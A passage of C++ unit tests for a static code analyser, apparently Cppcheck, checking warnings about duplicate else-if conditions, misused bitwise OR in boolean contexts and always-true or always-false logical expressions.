\"{\\n\"\n \" if ( bar() >1 && b) {}\\n\"\n \" else if (bar() >1 && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (style) Expression is always false because 'else if' condition matches previous condition at line 4. [multiCondition]\\n\", errout_str());\n\n checkPureFunction(\"extern int bar();\\n\"\n \"void foo(int x)\\n\"\n \"{\\n\"\n \" if ( bar() >1 && b) {}\\n\"\n \" else if (bar() >1 && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:23]: (style) Expression is always false because 'else if' condition matches previous condition at line 4. [multiCondition]\\n\", errout_str());\n\n // 7284\n check(\"void foo() {\\n\"\n \" if (a) {}\\n\"\n \" else if (!!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n // #11059\n check(\"int f();\\n\"\n \"void g() {\\n\"\n \" int i = f();\\n\"\n \" if (i == 3) {}\\n\"\n \" else if ((i = f()) == 5) {}\\n\"\n \" else if (i == 3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"void g() {\\n\"\n \" int i = f();\\n\"\n \" if (i == 3) {}\\n\"\n \" else if ((i = f()) == 5) {}\\n\"\n \" else if (i != 3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n template\n void checkPureFunction_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n void overlappingElseIfCondition() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) { b = 1; }\\n\"\n \" else { if (a) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) { b = 1; }\\n\"\n \" else { if (a) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1) { b = 1; }\\n\"\n \" else { if (a == 2) { b = 2; }\\n\"\n \" else { if (a == 1) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1) { b = 1; }\\n\"\n \" else { if (a == 2) { b = 2; }\\n\"\n \" else { if (a == 2) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (style) Expression is always false because 'else if' condition matches previous condition at line 3. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a++) { b = 1; }\\n\"\n \" else { if (a++) { b = 2; }\\n\"\n \" else { if (a++) { b = 3; } } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (!strtok(NULL, \\\" \\\")) { b = 1; }\\n\"\n \" else { if (!strtok(NULL, \\\" \\\")) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(Class &c) {\\n\"\n \" if (c.dostuff() == 3) {}\\n\"\n \" else { if (c.dostuff() == 3) {} }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Class &c) {\\n\"\n \" if (c.dostuff() == 3) {}\\n\"\n \" else { if (c.dostuff() == 3) {} }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n }\n\n check(\"void f(int a, int &b) {\\n\"\n \" x = x / 2;\\n\"\n \" if (x < 100) { b = 1; }\\n\"\n \" else { x = x / 2; if (x < 100) { b = 2; } }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int64_t i) {\\n\"\n \" if(i == 0x02e2000000 || i == 0xa0c6000000)\\n\"\n \" foo(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 3689 ( avoid false positive )\n check(\"int fitInt(long long int nValue){\\n\"\n \" if( nValue < 0x7fffffffLL )\\n\"\n \" {\\n\"\n \" return 32;\\n\"\n \" }\\n\"\n \" if( nValue < 0x7fffffffffffLL )\\n\"\n \" {\\n\"\n \" return 48;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" if( nValue < 0x7fffffffffffffffLL )\\n\"\n \" {\\n\"\n \" return 64;\\n\"\n \" } else\\n\"\n \" {\\n\"\n \" return -1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(WIDGET *widget) {\\n\"\n \" if (dynamic_cast(widget)){}\\n\"\n \" else if (dynamic_cast(widget)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B { virtual void v() {} };\\n\" // #11037\n \"class D1 : public B {};\\n\"\n \"class D2 : public B {};\\n\"\n \"void f(const std::shared_ptr&p) {\\n\"\n \" const auto d1 = dynamic_cast(p.get());\\n\"\n \" const auto d2 = dynamic_cast(p.get());\\n\"\n \" if (d1) {}\\n\"\n \" else if (d2) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\" // #6482\n \" if (x & 1) {}\\n\"\n \" else if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 15) {}\\n\"\n \" else if (x == 40) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == sizeof(double)) {}\\n\"\n \" else { if (x == sizeof(long double)) {} }\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 0x08) {}\\n\"\n \" else if (x & 0xF8) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x & 0xF8) {}\\n\"\n \" else if (x & 0x08) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && !!a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( b && !!a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( b && !(!a)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!b && !(!a)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Expression is always false because 'else if' condition matches previous condition at line 2. [multiCondition]\\n\", errout_str());\n\n check(\"void f(bool a, bool b) {\\n\"\n \" if(a && b){}\\n\"\n \" else if( !!(b) && !!(a+b)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8168\n check(\"enum MaskValues\\n\"\n \"{\\n\"\n \" Value1 = 0x00000001,\\n\"\n \" Value2 = 0x00000002\\n\"\n \"};\\n\"\n \"void TestFunction(int value) {\\n\"\n \" if ( value & (int)Value1 ) {}\\n\"\n \" else if ( value & (int)Value2 ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(size_t x) {\\n\"\n \" if (x == sizeof(int)) {}\\n\"\n \" else { if (x == sizeof(long))} {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(size_t x) {\\n\"\n \" if (x == sizeof(long)) {}\\n\"\n \" else { if (x == sizeof(long long))} {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeElseIfCondition() {\n setMultiline();\n\n check(\"void f(int x) {\\n\"\n \" if (x) {}\\n\"\n \" else if (!x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: style: Expression is always true because 'else if' condition is opposite to previous condition at line 2. [multiCondition]\\n\"\n \"[test.cpp:2:9]: note: first condition\\n\"\n \"[test.cpp:3:14]: note: else if condition is opposite to first condition\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = x;\\n\"\n \" if (x) {}\\n\"\n \" else if (!y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: style: Expression is always true because 'else if' condition is opposite to previous condition at line 3. [multiCondition]\\n\"\n \"[test.cpp:2:13]: note: 'y' is assigned value 'x' here.\\n\"\n \"[test.cpp:3:9]: note: first condition\\n\"\n \"[test.cpp:4:14]: note: else if condition is opposite to first condition\\n\", errout_str());\n }\n\n void checkBadBitmaskCheck() {\n check(\"bool f(int x) {\\n\"\n \" bool b = x | 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" bool b = 0x02 | x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" int b = x | 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" bool b = x & 0x02;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if(x | 0x02)\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" int y = 0x1;\\n\"\n \" if(b) y = 0;\\n\"\n \" if(x | y)\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" foo(a && (x | 0x02));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return (x | 0x02) ? 0 : 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return x ? (x | 0x02) : 5;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"bool f(int x) {\\n\"\n \" if (x) {\\n\"\n \" return x | 0x02;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"const bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"struct F {\\n\"\n \" static const bool f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"struct F {\\n\"\n \" typedef bool b_t;\\n\"\n \"};\\n\"\n \"F::b_t f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (warning) Result of operator '|' is always true if one operand is non-zero. Did you intend to use '&'? [badBitmaskCheck]\\n\", errout_str());\n\n check(\"int f(int x) {\\n\"\n \" return x | 0x02;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void create_rop_masks_4( rop_mask_bits *bits) {\\n\"\n \"DWORD mask_offset;\\n\"\n \"BYTE *and_bits = bits->and;\\n\"\n \"rop_mask *rop_mask;\\n\"\n \"and_bits[mask_offset] |= (rop_mask->and & 0x0f);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned a, unsigned b) {\\n\"\n \" unsigned cmd1 = b & 0x0F;\\n\"\n \" if (cmd1 | a) {\\n\"\n \" if (b == 0x0C) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i) {\\n\" // #11082\n \" int j = 0;\\n\"\n \" if (i | j) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Operator '|' with one operand equal to zero is redundant. [badBitmaskCheck]\\n\", errout_str());\n\n check(\"#define EIGHTTOIS(x) (((x) << 8) | (x))\\n\"\n \"int f() {\\n\"\n \" return EIGHTTOIS(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define O_RDONLY 0\\n\"\n \"void f(const char* s, int* pFd) {\\n\"\n \" *pFd = open(s, O_RDONLY | O_BINARY, 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int FEATURE_BITS = x |\\n\"\n \"#if FOO_ENABLED\\n\"\n \" FEATURE_FOO |\\n\"\n \"#endif\\n\"\n \"#if BAR_ENABLED\\n\"\n \" FEATURE_BAR |\\n\"\n \"#endif\\n\"\n \" 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum precedence { PC0, UNARY };\\n\"\n \"int x = PC0 | UNARY;\\n\"\n \"int y = UNARY | PC0;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"#define MASK 0\\n\"\n \"#define SHIFT 1\\n\"\n \"int x = 1 | (MASK << SHIFT);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void incorrectLogicOperator1() {\n check(\"void f(int x) {\\n\"\n \" if ((x != 1) || (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Logical disjunction always evaluates to true: x != 1 || x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 != x || 3 != x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x != 1 || x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x<0 && !x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Logical conjunction always evaluates to false: x < 0 && !x. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x==0 && x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning) Logical conjunction always evaluates to false: x == 0 && x. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\" // ast..\n \" if (y == 1 && x == 1 && x == 7) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (warning) Logical conjunction always evaluates to false: x == 1 && x == 7. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if (x != 1 || y != 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((y == 1) && (x != 1) || (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 1) || (x != 3) && (y == 1))\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Condition 'x!=3' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x != 1) && (x != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) || (x == 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 1) || (y != 3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != hotdog) || (y != hotdog))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x, int y) {\\n\"\n \" if ((x != 5) || (y != 5))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n check(\"void f(int x) {\\n\"\n \" if ((x != 5) || (x != 6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (warning) Logical disjunction always evaluates to true: x != 5 || x != 6. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(unsigned int a, unsigned int b, unsigned int c) {\\n\"\n \" if((a != b) || (c != b) || (c != a))\\n\"\n \" {\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23] -> [test.cpp:2:35]: (style) Condition 'c!=a' is always false [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void incorrectLogicOperator2() {\n check(\"void f(float x) {\\n\"\n \" if ((x == 1) && (x == 1.0))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12] -> [test.cpp:2:24]: (style) Condition 'x==0x00000001' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1 && x == 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == 1 && x == 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x == 1.0 && x == 3.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // float comparisons with == and != are not checked right now - such comparison is a bad idea\n\n check(\"void f(float x) {\\n\"\n \" if (x == 1 && x == 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void bar(float f) {\\n\" // #5246\n \" if ((f > 0) && (f < 1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1.0 && x > 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Logical conjunction always evaluates to false: x < 1.0 && x > 1.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 1.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 1.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 1.0 && x <= 1.001)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 1 && x > 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(float x) {\\n\"\n \" if (x < 1.0 && x > 3.0)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (warning) Logical conjunction always evaluates to false: x < 1.0 && x > 3.0. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (1 > x && 3 < x)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x > 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x < 3 && x > 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x < 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x < 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x <= 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x <= 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x < 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x < 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x <= 10)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x <= 10. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x <= 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x <= 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x >= 3 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x >= 3 || x < 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 3 || x <= 3)\\n\"\n \" a++;\\n\"\n \"}\"\n );\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical disjunction always evaluates to true: x > 3 || x <= 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if((x==3) && (x!=4))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Redundant condition: The condition 'x != 4' is redundant since 'x == 3' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(const std::string &s) {\\n\" // #8860\n \" const std::size_t p = s.find(\\\"42\\\");\\n\"\n \" const std::size_t * const ptr = &p;\\n\"\n \" if(p != std::string::npos && p == 0 && *ptr != 1){;}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:36] -> [test.cpp:4:49]: (style) Condition '*ptr!=1' is always true [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x!=4) && (x==3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x != 4' is redundant since 'x == 3' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==3) || (x!=4))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x == 3' is redundant since 'x != 4' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x!=4) || (x==3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Redundant condition: The condition 'x == 3' is redundant since 'x != 4' is sufficient. [redundantCondition]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==3) && (x!=3))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical conjunction always evaluates to false: x == 3 && x != 3. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x==6) || (x!=6))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (warning) Logical disjunction always evaluates to true: x == 6 || x != 6. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 10 || x < 3)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x == 1)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 5 && x == 1. [incorrectLogicOperator]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if (x > 5 && x == 6)\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Redundant condition: The condition 'x > 5' is redundant since 'x == 6' is sufficient. [redundantCondition]\\n\", errout_str());\n\n // #3419\n check(\"void f() {\\n\"\n \" if ( &q != &a && &q != &b ) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3676\n check(\"void f(int m_x2, int w, int x) {\\n\"\n \" if (x + w - 1 > m_x2 || m_x2 < 0 )\\n\"\n \" m_x2 = x + w - 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x <= 1.0e20 && x >= -1.0e20) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x >= 1.0e20 && x <= 1.0e21) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(float x) {\\n\" // x+1 => x\n \" if (x <= -1.0e20 && x >= -1.0e21) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incorrectLogicOperator3() {\n check(\"void f(int x, bool& b) {\\n\"\n \" b = x > 5 && x == 1;\\n\"\n \" c = x < 1 && x == 3;\\n\"\n \" d = x >= 5 && x == 1;\\n\"\n \" e = x <= 1 && x == 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning) Logical conjunction always evaluates to false: x > 5 && x == 1. [incorrectLogicOperator]\\n\"\n \"[test.cpp:3:15]: (warning) Logical conjunction always evaluates to false: x < 1 && x == 3. [incorrectLogicOperator]\\n\"\n \"[test.cpp:4:16]: (warning) Logical conjunction always evaluates to false: x >= 5 && x == 1. [incorrectLogicOperator]\\n\"\n \"[test.cpp:5:16]: (warning) Logical conjunction always evaluates to false: x <= 1 && x == 3. [incorrectLogicOperator]\\n\", 